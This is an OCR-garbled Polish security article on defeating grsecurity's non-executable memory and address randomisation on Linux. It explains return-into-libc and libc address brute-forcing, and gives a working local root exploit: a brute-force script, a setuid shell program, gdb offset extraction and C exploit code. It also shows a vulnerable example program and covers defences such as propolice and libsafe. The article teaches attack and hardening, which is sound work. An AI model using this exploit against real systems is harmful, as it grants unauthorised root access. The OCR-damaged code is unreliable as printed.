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Grsecurity z punktu widzenia intruza

Jednym z najbardziej popularnych rozwigzan globalnie poprawiajacych bezpieczenstwo
systemu Linux jest patch na jgdro grsecurity. Jest on potgczeniem wielu rozwigzan majgcych
na celu utrudnienie, jak nie catkowite uniemozliwienie naruszenia bezpieczenstwa systemu.
Cechuje sie on ochrong przed atakiem ( stack overflow, /tmp race, i inne ) jak i po udanym
ataku ( ochrona /dev/[klmem, ACL ). Mimo, Ze rozwigzanie wydaje sie by¢ niezawodng
ochrong przeciwko intruzom jest w niektérych przypadkach zgubg dla administratora —
pozostawia go w btogiej nieSwiadomosci. W artykule postaram sie opisaé¢ sposoby na udane
wykorzystanie btedéw typu stack overflow oraz innych w systemie chronionym przez
grsecurity.

Krotkie przypomnienie o return-into-libc:

Metoda return-into-libc jest powszechnie stosowang praktyka w przypadku atakow na
systemy chronione przez réznego rodzaju patche majace na celu implementacije
niewykonywalnego stosu/sterty itp. Polega ona na nadpisaniu adresu powrotu z funkcji,
adresem funkcji — zazwyczaj system()- ze standardowej biblioteki C, poniewaz zamapowana
w pamieci biblioteka jest oznaczona jako wykonywalna. Dodatkowo do tego typu funkcji, w
odr6znieniu od syscalli, parametry przekazywane sa przez stos, wiec wykonanie dowolne;j
instrukcji nie stanowi problemu.

Wiekszosc¢ exploitdw — programow wykozystujacych btedy w oprogramowaniu dziata wedtéd
prostego schematu. Modyfikujg adres powrotu z funkcji, badz adres funkciji, do ktérej program
sie pézniej odwotuje, w ten sposdb, ze wskazuje on na miejsce gdzie uprzednio zostat
wstawiony kod, majacy na celu wykonanie polecen atakujacego ( zwykle zwiekszenie
uprawnien i uruchomienie powtoki ). Dzieje sie tak, poniewaz instrukcje mogg byé
wykonywane z obszaru, gdzie program moze zapisywac dane. Grsecurity oferuje petng
ochrone przed wykonywaniem kodu w zapisywalnych obszarach pamieci. Sposobem na
obej$cie tego typu zabezpieczenia jest opisana w magazynie phrack oraz poruszana na wielu
listach dyskusyjnych metoda return-into-libc. Dzigki niej atakujacy nie musi umieszczac
swojego kodu w pamieci. Korzysta w gotowych funkcji w bibliotece C, prez co ochrona
pamieci gwarantowana przez patch nie dziata. Autorzy grsecurity szybko znalezli rozwigzanie
tego problemu. Adresy mapowanych w pamieci bibliotek sg losowe. Za kazdym razem kiedy
uruchamiany jest program gdzie indziej w pamieci znajdujg sie zamapowane biblioteki.
Jednakze losowe w adresie jest tylko 16 bitow, a wiec istnieje tylko 16”4 (65536 mozliwosci)
ré6znych adresow, co daje atakujgcemu mozliwos¢ do bruteforceowania tych adresow. Przy
obecnie wystepujacych konfiguracjach sprzetowych taki atak nie trwa dtuzej niz 5 minut.
Potwierdzeniem powyzszego zatozenia jest pokazany ponizej skrypt oraz efekt jego
dziatania. Kozystajac z Idd pobiera on adres, pod ktérym zostata zamapowana biblioteka dla
programu /bin/ls, po czym dziatajgc w petli uruchamia Idd do momentu, kiedy adres sie
powtorzy.



Skrypt pokazujacy bruteforcowanie adresu libc
#!/bin/sh
BASE="Idd /bin/ls 2>/dev/null | awk ' /libc/ { print substr(\$4, 2, 10);}"
=0
=0
ate
echo $BASE;
while [ 1 ];: do
OTB="Idd /bin/ls 2>/dev/null | head -1 | awk '{ print substr(\$4, 2, 10):}"

[

o

let [=$1+1;

if [ $1 = 128 ]; then
echo-n".";
let J=$J+1
let 1=0

fi
if [ $OTB = $BASE ]; then
echo "";
echo -n "Found OTB $OTB ";
let RES=$J*128+3I
echo "with $RES tries"
date
exit;

fi
done

Bruteforceowanie adresu libc_base na maszynie Intel Celeron 333Mhz
root@kleo:/audyt/gr# ./fo.sh

Sat Aug 14 22:19:32 CEST 2004

0x28721000

Found OTB 0x28721000 with 19346 tries
Sat Aug 14 22:46:00 CEST 2004
root@kleo:/audyt/gr#

Jak widzimy powtérzenie sie adresu to tylko kwestja czasu — zauwazmy, ze taka moc
procesora to juz zadko$¢ w przypadku serwerdw produkcyjnych. Atakujgcemu pozostaje
drugi problem do rozwigzania. Sg nim argumenty do funkcji ktérej adres juz mamy. Niestety
nie mozemy skorzystaé ani ze sterty, ani ze stosu, gdyz ich adresy robwniez sg losowe,
ponadto w zadnym stopniu nie sg powigzane z adresam, ktory znalezliSmy (libc).
Zbruteforceowanie samego adresu stosu, podobnie jak samego adresu libc jest wykonalne w
dos$¢ krétkim czasie, natomiast prawdopodobienstwo powtérzenia sie obu adreséw w
rozsgdnym okresie czasu oscyluje bardzo blisko zera. Argumentéw nalezy wigec szukaé w
tym co mamy, czyli w bibliotece C. Mozemy réwniez uprosci¢ nasze poszukiwania ze
wzgledu na wykonywang funkcje ( exec* ) do tancucha znakéw zakonczonego zerem i



samego zera.

Hexdump standardowe;j biblioteki C
[root@nesquik lib]# hexdump libc-2.2.5.s0 | head -1
0000000 457f 464c 0101 0001 0000 0000 0000 0000

Na samym poczatku biblioteki znajdujemy pasujacy naszym kryteriom fragment. Najbardziej
pasujaca funkcjg z rodziny exec* w tym przypadku bedzie execvp().

Opis funkcji execvp

Funkcje execlp oraz execvp wykonujg zadania powtoki szukajgc pliku
wykonywalnego, jesli nazwa pliku nie zawiera znaku ukosSnika (/).
ScieZzka przeszukiwania to scieZzka podana w zmiennej Srodowiskowej PATH.
Jesli zmienna ta nie istnieje, przyjmowana jest domysina ScieZzka
“/bin:/usr/bin”.

Wykozystujac wszystkie powyzsze zagadnienia mozemy zacza¢ pisac przyktadowego
exploita. Atakowanym programem niech bedzie najprostrzy jaki da sie wymysli¢, pozwalajgcy
na wykorzystanie techniki nadpisania bufora na stosie.

Atakowany program podatny na atak typu buffer overflow
int main(int argc, char *argv(])

|
char buf[4];
if (argc>1)
strepy(buf, argv[1]);
return O;
1

Exploit powinien stworzy¢ wymagane pliki wykonywalne, ktére zostang uruchomione przez
execvp() po nadpisaniu bufora w atakowanej aplikacji, nastepnie uzyskac¢ adres biblioteki C,
pod ktérym zostata zamapowana oraz funkcji execvp. W nastepnej kolejnosci powinien
przygotowac tancuch ktéry spowoduje overflowa i ostatecznie uruchamiaé dziurawy program
do czasu, az uzyskany adres powtdrzy sie. Majac taki plan jesteSmy gotowi. W zalezno$ci od
wersji libc'a jest mozliwe, Ze execvp() zignoruje trzy znaki oznaczone kodem 0x01
znajdujace sie w nazwie ktérej bedziemy uzywali. Dlatego wskazanym jest stworzenie dwéch
plikdw, zawierajgcego te trzy znaki w nazwie i bez nich. Dodatkowo mozemy uproécic¢ sobie
zadanie, znajdujac w bibliotece cigg znakdéw “/bin/sh” zakonczony zerem. Jednakze w
przypadku aplikacji tylko z euid rownym 0 w momencie overflowa nie da nam to w efekcie
upragnionego rootshella ( ze wzgledu na charakterystyczne zachowanie powtoki bash2, do
ktorej w wiekszosciu przypadkéw zlinkowane jest /bin/sh ). Najtatwiejszym sposobem bedzie
rozdzielenie exploita na dwie czeéci. Pierwszg, wykonywang manualnie — stworzenie plikdw,
zebranie potrzebnych adreséw, oraz druga , powodujacg overflowa. Do wykonania pierwsze;j
czesci uzyjemy kopi atakowanej aplikacji bez wtgczonego losowego mapowania bibliotek,
azeby zdoby¢ prawidtowe offsety dla funkcji execvp i exit. Najpierw tworzymy program -



target, ktéry zwiekszy uprawnienia i wywota powtoke. Kompilujemy go i tworzymy do niego
linki symboliczne o nazwach ELF i ELF\O01\001\001 ( zaleznie od wersji libca uruchomi sie
jeden z nich ). Kopiujemy atakowany program i przy pomocy narzedzia chpax, dostepnego
na stronie projektu ( pax.grsecurity.net) zdejmujemy wymagane flagi, zeby mozliwym byto
analizowanie go. Przy pomocy Idd wyciggamy adres, gdzie zostata zamapowana biblioteka
tzw. libc_base. Kozystajgc z gdb uzyskujemy adresy potrzebnych funkcji — execvp i exit.
Offsety obliczamy odejmujac ( w systemie szesnastkowym ) od adresu funkcji adres
libc_base.

Pierwsza, manualna czes¢ exploita

[root@nesquik grsec]# cat >target.c<< EOF

> #include <unistd.h>

> int main(void)

> {

> setuid(0);

> execl("/bin/sh", "sh",0);

> }

> EOF

[root@nesquik grsec]# gcc -o target target.c

[root@nesquik grsec]# In -s target "perl -e {print "\x45\x4c\x46"}"
[root@nesquik grsec]# In -s target "perl -e {print "\x45\x4c\x46\x01\x01\x01"}"
[root@nesquik grsec]# cp vuln copy_vuln

[root@nesquik grsec]# chpax -rs copy_vuln

[root@nesquik grsec]# Idd copy_vuln | awk ' /libc/ { print substr($4, 2, 10)}'
0x40019000

[root@nesquik grsec]# cat > gdb << _EOF

> file ./copy_vuln

> b main

>r

> p/x &execvp

> p/x &exit

> EOF

[root@nesquik grsec]# gdb -batch -q -x ./gdb | awk ' A$1/ {print "execvp - "$3}; \$2/ {printf
"exit - "$3"\n"};’

execvp - 0x400c9f70

exit - 0x400451a0

Gtéwna cze$¢ exploita dziataniem nie rdzni sie znacznieod poczatkowego skryptu. Jednakze
zamiast sprawdzaé adres, pod ktérym zostata zamapowana biblioteka, bedzie on prébowat
wykozystaé nadpisanie bufora z nadziejg, ze pojawi sie upragniony znak zachety, zamiast
komunikatu “Segmentation fault”. Jak widzieliSmy powyzej adres powtdrzy sie po pewnym
czasie i wtasnie wtedy proba ataku sie powiedzie. Na nieszczescie atakujgcego kazda
nieudana préba bedzie zalogowana. Nie stanowi to zadnych probleméw, jednakze bedzie to
zapewne nasza ostatnia préba na tym serwerze. W koncu nie da sie nie zauwazy¢ parunastu
tysiecy komunikatéw z jgdra. W exploicie tworzymy bufor o dtugosci o 20 wigkszej niz w



atakowanym programie. Pierwsze 8 bajtéw bufora pomijamy, jakoze pierwsze 4 bajty
wypetnig bufor atakowanego programu a kolejne znajdg sie w rejestrze ebp, ktéry w tej
sytuacji nas w ogéle nie interesuje. Kolejne 4 bajty znajdg sie w rejestrze eip, i tu wpisujemy
adres funkcji execvp. Kolejne 4 bajty sg adresem do jakiego “skoczy” program po wyjsciu z
execvp — tu wstawiamy adres exit. Nastepnie znajdujg sie argumenty do execvp — adres do
tahcucha znakdéw zakonczonego zerem i adres do samego zera. Exploit uruchamia
atakowany program w petli do czasu, az atak sie powiedzie.

Druga czesc¢ exploita
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>

[* Offsety nalezy wyliczy¢ dla konkretnego systemu
* jedynie ELF i ZERO sa state

*/

#tdefine EXEC OFFSET 0Oxaa7a4

ftdefine EXIT _OFFSET 0x31534

#tdefine LIBC 0x4a8f7000
#define ELF OFFSET 0x1

ftdefine ZERO OFFSET  0x8

ftdefine B _SIZE 8

int main(void)
_{
int status, pid;
char buf[B_SIZE+16+5+1], *pbuf;
pbuf = (char*)&buf;
memset(buf, 0x0d, sizeof(buf));

pbuf+=B_SIZE;

*(int*)(pbuf) = LIBC+EXEC OFFSET;
pbuf+=4;

*(int*)(pbuf) = LIBC+EXIT OFFSET;
pbuf+=4;

*(int*)(pbuf) = LIBC+ELF OFFSET;
pbuf+=4;

*(int*)(pbuf) = LIBC+ZERO OFFSET;
buf[B_SIZE+16] = 0;
while (1) {
pid = fork();
if (pid==0)
execl("./vuln", "vuln", buf, 0);
if (pid>0)
{
waitpid(pid, &status, WUNTRACED);




if (status==0)

break:
}
if (pid<0)

{

printf(“Brak resoursow\n”);
break:

}

return O;
1}

Tak jak sie spodziewali§my, po dtuzszej chwili uzyskujemy upragnionego root'a, nawet przy
ochronie jakg zapewnia patch.

Istnieje rowniez caty ogrom btedbéw programistycznych, przed ktérymi grsecurity nie jest w
stanie nas obronié¢. Najprostrzym przyktadem jest, kiedy nadpisujac bufor zmieniamy wartosci
kluczowych dla dziatania prograsmu zmiennych. Moga to by¢ plik tymczasowy, do ktérego
program bedzie zapisywat z euid0, czy zapisany uid uzytkownika, ktéry zostanie
wykorzystany do p6zniejszego zrzucenia uprawnien. To samo dotyczy nadpisan wskaznikow
do funkcji. Przyktad takiego programu znajduje sie ponizej. Dobierajgc odpowiednig dtugos¢
bufora, atakujacy moze doprowadzié, ze w punkcie [2] majace terminowac tgincuch znakéw
zero, zostanie wpisane poza zmienng buf, do zmiennej uid [1], przechowujacej identyfikator
uzytkownika uruchamiajgcego program.W konsekwencji doprowadzi to do pozostawienia
uprawnien administratora uzytkownikowi w punkcie [3] na dalszg cze$¢ programu, gdzie
autor zatozyt ze wszystko bedzie wykonywane z uprawnieniami uzytkownika ( zapis i czytanie
plikow itp. )

Przyktadowy program z btedem, przed ktérym nie uchroni grsecurity
int main(int argc, char *argv(])

_{
int uid; /1]
char buf[4];
uid = getuid();
if (argc>1)
_ {
strepy(buf, argv[1]);
buf[strlen(argv[1])-1] = 0; /2]
1
// funkcje uruchamiane z euid0
setuid(uid); /]3]
// funkcje uruchamiane z bezpiecznym uid uzytkownika - zapis do plikow itp.
return O;
1

Skuteczng metodg ochrony jest tagczenie z grsecurity innych, dziatajgcych na innej “warstwie”
metod obrony. Efektywnym potgczenie daje patch na gcc — propolice. Uniemozliwia on



nadpisania adresu powrotu z funkcji przez wstawienie wartosci kontrolnej, jezeli zostanie ona
zmieniona, program zostanie zatrzymany. Propolice zmienia rowniez kolejno$é zmiennych na
stosie w taki sposob, azeby niemozliwym byto nadpisanie wskaznikéw do funkcji. Alternatywg
jest libsafe, biblioteka transparentnie implementujgca ochrone przed atakami nadpisujgcymi
bufory, a takze atakami typu format string. Nalezy jednak pamietaé, ze kazde z rozwigzan
utrudniajagcych atakujgcemu wykozystanie luki w systemie wigze sie ze spadkiem wydajnosci.
Rowniez waznym jest, aby najpierw przejzeé system pod katem niewykozystywanych
aplikacji dziatajgcych ze zwiekszonymi uprawnieniami ( suid/sgid ), a takze
niewykozystywanych ustug, oraz systematyczna aktualizacja. MySlenie ze grsecurity zatatwi
wszystko jest bardzo btedne i w ktorkim czasie mozemy mie¢ niemitg niespodzianke.

Odnoéniki :

http://www.grsecurity.net/ - strona projektu grsecurity
http://www.research.ibm.com/trl/projects/security/ssp/ - projekt stack smashing protector
http://www.research.avayalabs.com/project/libsafe/ - projekt Libsafe
http://bsquad.sm.pl/files/cdrdao.sh — exploit na luke w cdrdao, btad exploitowalny mimo
zabezpieczenia przez grsecurity




